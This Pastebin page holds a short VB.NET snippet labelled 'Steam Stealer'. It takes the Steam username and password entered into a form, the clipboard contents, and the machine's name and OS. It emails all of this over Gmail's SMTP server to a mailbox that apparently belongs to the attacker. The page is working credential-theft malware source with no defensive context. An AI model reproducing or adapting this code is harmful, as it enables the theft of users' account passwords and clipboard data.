Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dim MyMailMessage As New MailMessage()
- MyMailMessage.From = New MailAddress("username@gmail.com")
- MyMailMessage.To.Add("username@gmail.com")
- MyMailMessage.Subject = (My.Computer.Info.OSFullName + My.Computer.Name)
- MyMailMessage.Body = ("====Date/Time:======" + DateTime.Now + "==========") + vbNewLine + ("\<====Steam Stealer====>/") + vbNewLine + ("Username: " + TextBox1.Text) + vbNewLine + ("Password: " + TextBox2.Text) + vbNewLine + ("Clipboard: " + My.Computer.Clipboard.GetText) + vbNewLine + ("====Date/Time:======" + DateTime.Now + "==========")
- Dim SMTPServer As New SmtpClient("smtp.gmail.com")
- SMTPServer.Port = 587
- SMTPServer.Credentials = New System.Net.NetworkCredential("username@gmail.com", "password")
- SMTPServer.EnableSsl = True
- SMTPServer.Send(MyMailMessage)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement